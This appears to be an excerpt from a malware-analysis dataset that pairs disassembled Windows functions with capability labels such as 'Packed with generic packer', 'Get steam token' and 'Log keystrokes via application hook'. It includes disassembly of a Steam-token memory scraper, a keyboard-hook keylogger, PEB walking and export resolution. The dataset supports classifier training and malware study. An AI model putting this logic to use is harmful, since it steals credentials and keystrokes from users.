joyce8/EMBER2024-capa huggingface dataset:
Function at 0x492940
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x7d000]
push edi
jmp 0x49295a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x492961
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x492950
mov eax, 1
add ebx, ebx
jne 0x492973
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x492968
jne 0x492984
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x492968
xor ecx, ecx
sub eax, 3
jb 0x492998
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x492a0a
mov ebp, eax
add ebx, ebx
jne 0x4929a3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4929b0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4929d4
inc ecx
add ebx, ebx
jne 0x4929c0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4929b5
jne 0x4929d1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4929b5
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4929f4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4929e5
jmp 0x492956
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4929f4
add edi, ecx
jmp 0x492956
pop esi
mov edi, esi
mov ecx, 0x104c
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x492a12
cmp byte [edi], 9
jne 0x492a12
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x492a17
lea edi, [esi + 0x8f000]
mov eax, dword [edi]
or eax, eax
je 0x492a8f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x92bf8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x92cac]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x492a44
mov ecx, edi
jns 0x492a73
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x92cb0]
or eax, eax
je 0x492a89
mov dword [ebx], eax
add ebx, 4
jmp 0x492a61
call dword [esi + 0x92cc0]
mov ebp, dword [esi + 0x92cb4]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x20f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x492ac3
sub esp, 0xffffff80
jmp 0x40fcc2
Function at 0x10012830
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x1001286e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x10012866
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x10012870
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x10012856
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x10012940
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x10012971
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x10012971
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x10012971
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x405f20
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x10]
push eax
push 0x40
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [ebp + 0xc]
add esp, 0x10
test eax, eax
jne 0x405f43
mov eax, 1
jmp 0x40604e
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x5a4d
jne 0x405f59
mov ecx, dword [ebp + 8]
cmp dword [ecx + 0x3c], 0
jne 0x405f63
mov eax, 2
jmp 0x40604e
mov edx, dword [ebp + 0x10]
push edx
push 0xf8
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x3c]
push ecx
mov edx, dword [ebp + 8]
add edx, 0x40
push edx
call dword [ebp + 0xc]
add esp, 0x10
test eax, eax
jne 0x405f8e
mov eax, 1
jmp 0x40604e
mov eax, dword [ebp + 8]
cmp dword [eax + 0x40], 0x4550
jne 0x405fb4
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + 0x58]
cmp edx, 0x10b
jne 0x405fb4
mov eax, dword [ebp + 8]
movzx ecx, word [eax + 0x46]
test ecx, ecx
jne 0x405fbe
mov eax, 2
jmp 0x40604e
mov edx, dword [ebp + 8]
movzx eax, word [edx + 0x46]
imul eax, eax, 0x28
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x140], eax
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x140]
push eax
call fcn.00416c30
add esp, 4
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x138], eax
mov edx, dword [ebp + 8]
cmp dword [edx + 0x138], 0
jne 0x405fff
mov eax, 3
jmp 0x40604e
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x3c]
mov edx, dword [ebp + 8]
movzx eax, word [edx + 0x54]
lea ecx, [ecx + eax + 0x18]
mov edx, dword [ebp + 8]
mov dword [edx + 0x13c], ecx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x140]
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x13c]
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x138]
push eax
call dword [ebp + 0xc]
add esp, 0x10
test eax, eax
jne 0x40604c
mov eax, 1
jmp 0x40604e
xor eax, eax
pop ebp
ret

Function at 0x4069e0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x5a4d
je 0x4069f6
xor eax, eax
jmp 0x406a36
mov edx, dword [ebp + 8]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x3c]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp dword [ecx], 0x4550
jne 0x406a1b
mov edx, dword [ebp - 4]
movzx eax, word [edx + 0x18]
cmp eax, 0x10b
je 0x406a1f
xor eax, eax
jmp 0x406a36
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x78]
push ecx
call fcn.00406a40
add esp, 0xc
mov esp, ebp
pop ebp
ret
Function at 0x415330
Capabilities:
Get steam token

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x484
push 0x64000
call dword [sym.imp.msvcrt.dll_void____cdecl_operator_new___unsigned_int_]
add esp, 4
mov dword [ebp - 0x458], eax
mov eax, dword [ebp - 0x458]
mov dword [ebp - 8], eax
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
push 0x41e59d
lea ecx, [ebp - 0x1c]
call fcn.00418870
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4153a8
mov dword [ebp - 0x45c], 0x41e59e
lea ecx, [ebp - 0x1c]
call fcn.00418930
mov eax, dword [ebp - 0x45c]
jmp 0x41553f
mov edx, 1
test edx, edx
je 0x41550e
mov byte [ebp - 0x438], 0
push 0x207
push 0
lea eax, [ebp - 0x437]
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x230]
push ecx
mov edx, dword [ebp - 8]
push edx
push 0xfff
push 0xffffffffffffffff
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
push str.65_79_41_69_64_48_6C_77_49_6A_6F_67_49_6B_70_58_56_43_49_73_49_43_4A_68_62_47_63_69_4F_69_41_69_52_57_52_45_55_30_45_69_49_48_30
mov edx, dword [ebp - 4]
push edx
call fcn.00415160
add esp, 0x20
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x28]
add eax, 0x208
mov ecx, dword [ebp - 0x24]
adc ecx, 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], ecx
cmp dword [ebp - 0x24], 0
ja 0x41542a
jb 0x415425
cmp dword [ebp - 0x28], 0
ja 0x41542a
jmp 0x41550e
cmp dword [ebp - 0x24], 0
ja 0x415439
cmp dword [ebp - 0x28], 0xffff
jbe 0x415455
push 0
push 0x208
lea edx, [ebp - 0x438]
push edx
mov eax, dword [ebp - 0x28]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea edx, [ebp - 0x438]
push edx
lea ecx, [ebp - 0x1c]
call fcn.00418950
lea ecx, [ebp - 0x1c]
call fcn.00418c00
push eax
call dword [0x625f48]
cmp eax, 0x12c
jle 0x415509
lea ecx, [ebp - 0x1c]
call fcn.00418c00
push eax
lea ecx, [ebp - 0x478]
call fcn.00415580
lea eax, [ebp - 0x478]
push eax
lea ecx, [ebp - 0x454]
push ecx
call fcn.00414dc0
add esp, 8
lea ecx, [ebp - 0x478]
call fcn.00407a30
lea ecx, [ebp - 0x454]
call fcn.004155c0
movzx edx, al
test edx, edx
jne 0x4154fe
lea ecx, [ebp - 0x454]
call fcn.00407a90
cmp eax, 0xa
jbe 0x4154fe
lea ecx, [ebp - 0x1c]
call fcn.00418c00
mov dword [ebp - 0x47c], eax
lea ecx, [ebp - 0x454]
call fcn.00407a30
lea ecx, [ebp - 0x1c]
call fcn.00418930
mov eax, dword [ebp - 0x47c]
jmp 0x41553f
lea ecx, [ebp - 0x454]
call fcn.00407a30
jmp 0x4153a8
mov eax, dword [ebp - 8]
mov dword [ebp - 0x480], eax
mov ecx, dword [ebp - 0x480]
push ecx
call dword [sym.imp.msvcrt.dll_void___cdecl_operator_delete___void__]
add esp, 4
mov dword [ebp - 0x484], 0x41e59f
lea ecx, [ebp - 0x1c]
call fcn.00418930
mov eax, dword [ebp - 0x484]
mov esp, ebp
pop ebp
ret
Function at 0x4178e0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x417910
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
cmp dword [ebp + 8], 0
jne 0x417923
xor eax, eax
jmp 0x4179e1
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
movzx edx, word [ecx]
cmp edx, 0x5a4d
je 0x41793e
xor eax, eax
jmp 0x4179e1
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
cmp dword [edx], 0x4550
je 0x41795c
xor eax, eax
jmp 0x4179e1
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x78]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x1c]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 8]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x20]
mov dword [ebp - 4], ecx
mov dword [ebp - 0x1c], 0
jmp 0x41799e
mov edx, dword [ebp - 0x1c]
add edx, 1
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x1c]
cmp ecx, dword [eax + 0x18]
jae 0x4179df
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 8]
add edx, dword [ecx + eax*4]
push edx
call fcn.00416c50
add esp, 8
test eax, eax
jne 0x4179dd
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x14]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + edx*4]
mov eax, ecx
jmp 0x4179e1
jmp 0x417995
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x41967e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4242b0]
jne 0x419688
repz ret
jmp fcn.0041a8bb
Function at 0x41acbc
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4242b0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004194f2
and dword [ebp - 0x14], 0
cmp dword [0x425758], 0
mov dword [ebp - 0x18], eax
jne 0x41ad6f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x41ae17
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x41ae17
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x425758], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x42575c], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x425760], eax
call edi
push eax
call esi
mov dword [0x425768], eax
test eax, eax
je 0x41ad6f
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x425764], eax
mov eax, dword [0x425764]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x41adc8
cmp dword [0x425768], ecx
je 0x41adc8
push eax
call esi
push dword [0x425768]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x41adc8
test ebx, ebx
je 0x41adc8
call edi
test eax, eax
je 0x41adbf
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x41adbf
test byte [ebp - 8], 1
jne 0x41adc8
or dword [ebp + 0x10], 0x200000
jmp 0x41adfb
mov eax, dword [0x42575c]
cmp eax, dword [ebp - 0x18]
je 0x41adfb
push eax
call esi
test eax, eax
je 0x41adfb
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x41adfb
mov eax, dword [0x425760]
cmp eax, dword [ebp - 0x18]
je 0x41adfb
push eax
call esi
test eax, eax
je 0x41adfb
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x425758]
call esi
test eax, eax
je 0x41ae17
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x41ae19
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041967e
leave
ret
Function at 0x401460
Capabilities:
Log keystrokes via application hook

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push ecx
add esp, 0xffffff80
call fcn.00401f00
lea edx, [ebp - 0x3c]
mov eax, 0
mov ecx, 0xc
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x3c], 0x30
mov dword [ebp - 0x34], 0x40189d
mov dword [esp], 0
call sub.KERNEL32.dll_GetModuleHandleA
sub esp, 4
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x14], str.SnapKeyClass
lea eax, [ebp - 0x3c]
mov dword [esp], eax
call sub.USER32.dll_RegisterClassExA
sub esp, 4
test ax, ax
sete al
test al, al
je 0x4014f8
mov dword [esp + 0xc], 0x30
mov dword [esp + 8], str.Error
mov dword [esp + 4], str.Window_Registration_Failed_
mov dword [esp], 0
call sub.USER32.dll_MessageBoxA
sub esp, 0x10
mov eax, 1
jmp 0x40167e
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
mov dword [esp + 0x2c], 0
mov dword [esp + 0x28], edx
mov dword [esp + 0x24], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x1c], 0x78
mov dword [esp + 0x18], 0xf0
mov dword [esp + 0x14], 0x80000000
mov dword [esp + 0x10], 0x80000000
mov dword [esp + 0xc], 0xcf0000
mov dword [esp + 8], 0x406093
mov dword [esp + 4], eax
mov dword [esp], 0
call sub.USER32.dll_CreateWindowExA
sub esp, 0x30
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x401597
mov dword [esp + 0xc], 0x30
mov dword [esp + 8], str.Error
mov dword [esp + 4], str.Window_Creation_Failed_
mov dword [esp], 0
call sub.USER32.dll_MessageBoxA
sub esp, 0x10
mov eax, 1
jmp 0x40167e
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call fcn.004017fe
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x401688
mov dword [esp], 0xd
call sub.USER32.dll_SetWindowsHookExA
sub esp, 0x10
mov dword [0x408024], eax
mov eax, dword [0x408024]
test eax, eax
jne 0x401605
mov dword [esp + 0xc], 0x30
mov dword [esp + 8], str.Error
mov dword [esp + 4], str.Failed_to_install_hook_
mov dword [esp], 0
call sub.USER32.dll_MessageBoxA
sub esp, 0x10
mov eax, 1
jmp 0x40167e
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
lea eax, [ebp - 0x58]
mov dword [esp], eax
call sub.USER32.dll_GetMessageA
sub esp, 0x10
test eax, eax
setne al
test al, al
je 0x401652
lea eax, [ebp - 0x58]
mov dword [esp], eax
call sub.USER32.dll_TranslateMessage
sub esp, 4
lea eax, [ebp - 0x58]
mov dword [esp], eax
call sub.USER32.dll_DispatchMessageA
sub esp, 4
jmp 0x401605
mov eax, dword [0x408024]
mov dword [esp], eax
call sub.USER32.dll_UnhookWindowsHookEx
sub esp, 4
mov dword [esp + 4], 0x408040
mov dword [esp], 2
call sub.SHELL32.DLL_Shell_NotifyIconA
sub esp, 8
mov eax, 0
lea esp, [ebp - 8]
pop ecx
pop edi
pop ebp
lea esp, [ecx - 4]
ret
Function at 0x402010
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x4080c4
call sub.KERNEL32.dll_EnterCriticalSection
mov ebx, dword [0x4080bc]
sub esp, 4
test ebx, ebx
je 0x40205b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sub.KERNEL32.dll_TlsGetValue
sub esp, 4
mov esi, eax
call sub.KERNEL32.dll_GetLastError
test eax, eax
jne 0x402054
test esi, esi
je 0x402054
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402030
mov dword [esp], 0x4080c4
call sub.KERNEL32.dll_LeaveCriticalSection
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x402240
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]

Function at 0x402290
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.KERNEL32.dll_VirtualQuery
sub esp, 0xc
test eax, eax
je 0x402368
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x4022ce
cmp eax, 4
jne 0x4022f0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.msvcrt.dll_memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sub.msvcrt.dll_memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x4022de
cmp edx, 4
je 0x4022de
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00402240
Function at 0x1011d91c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10222850]
jne 0x1011d926
repz ret
jmp fcn.1011dbcd

Function at 0x1011edd0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
lea eax, [fcn.1011edd0]
mov dword [0x10222824], 0x83f
mov dword [ebp - 8], eax
mov dword [0x10222824], 0x19e4
jmp 0x1011ee17
mov eax, dword [ebp - 8]
sub eax, 0x1000
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
and eax, 0xfffff000
mov dword [ebp - 8], eax
mov dword [0x10222828], 0x773
jmp 0x1011ee40
mov eax, dword [ebp - 8]
movzx eax, word [eax]
cmp eax, 0x5a4d
jne 0x1011edf5
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x3c]
mov ecx, dword [ebp - 8]
cmp dword [ecx + eax], 0x4550
jne 0x1011ee3e
mov eax, dword [ebp - 8]
mov dword [ebp - 4], eax
jmp 0x1011ee5b
jmp 0x1011edf5
mov al, 1
test al, 1
jne 0x1011ee17
jmp 0x1011ee48
mov dword [0x10222824], 0x24f
mov dword [ebp - 4], 0
jmp 0x1011ee5b
mov eax, dword [ebp - 4]
add esp, 0xc
pop ebp
ret
Function at 0x1011ee70
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [0x10222828], 0x3cb
mov dword [ebp - 0x10], 0
mov dword [0x10222828], 0x4f5
mov eax, dword fs:[0x30]
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], eax
mov dword [0x10222824], 0x650
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x10]
mov eax, dword [eax + 0x3c]
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0
jmp 0x1011ef0b
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
movzx eax, word [ecx + eax*2]
cmp eax, 0
je 0x1011ef16
jmp 0x1011ef18
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
jmp 0x1011ef0b
mov eax, dword [0x10222828]
add eax, 0x20dc
mov dword [0x10222824], eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
movzx eax, word [eax + ecx*2 - 0x16]
cmp eax, 0x61
je 0x1011ef5d
jmp 0x1011ef09
jmp 0x1011eff4
jmp 0x1011effb
jmp 0x1011ef04
cmp dword [ebp - 8], 0x104
jl 0x1011eebc
jmp 0x1011ef24
jmp 0x1011ef24
mov dword [0x10222828], 0xab6
jmp 0x1011eecf
mov eax, dword [0x10222828]
sub eax, 0x21b9
mov dword [0x10222828], eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
movzx eax, word [eax + ecx*2 - 0x1a]
cmp eax, 0x6c
jne 0x1011effb
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
movzx eax, word [eax + ecx*2 - 0x18]
cmp eax, 0x6f
je 0x1011eedc
jmp 0x1011ef04
mov dword [0x10222824], 0xe50
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
movzx eax, word [eax + ecx*2 - 0x14]
cmp eax, 0x64
jne 0x1011eff6
mov eax, dword [0x10222824]
add eax, 0x5c9
mov dword [0x10222824], eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
movzx eax, word [eax + ecx*2 - 0x12]
cmp eax, 0x64
jne 0x1011eff4
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
shl ecx, 1
add eax, ecx
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
movzx ecx, word [eax - 0x10]
cmp ecx, 0x6c
jne 0x1011eeff
mov dword [0x10222828], 0x7a0
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
shl ecx, 1
add eax, ecx
add eax, 0xfffffff2
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
movzx ecx, word [eax]
cmp ecx, 0x6c
jne 0x1011efef
mov dword [ebp - 4], 1
jmp 0x1011f00c
jmp 0x1011eeff
jmp 0x1011eff6
jmp 0x1011ef09
mov dword [0x10222828], 0x1280
mov dword [ebp - 4], 0
mov eax, dword [ebp - 4]
add esp, 0x18
pop ebp
ret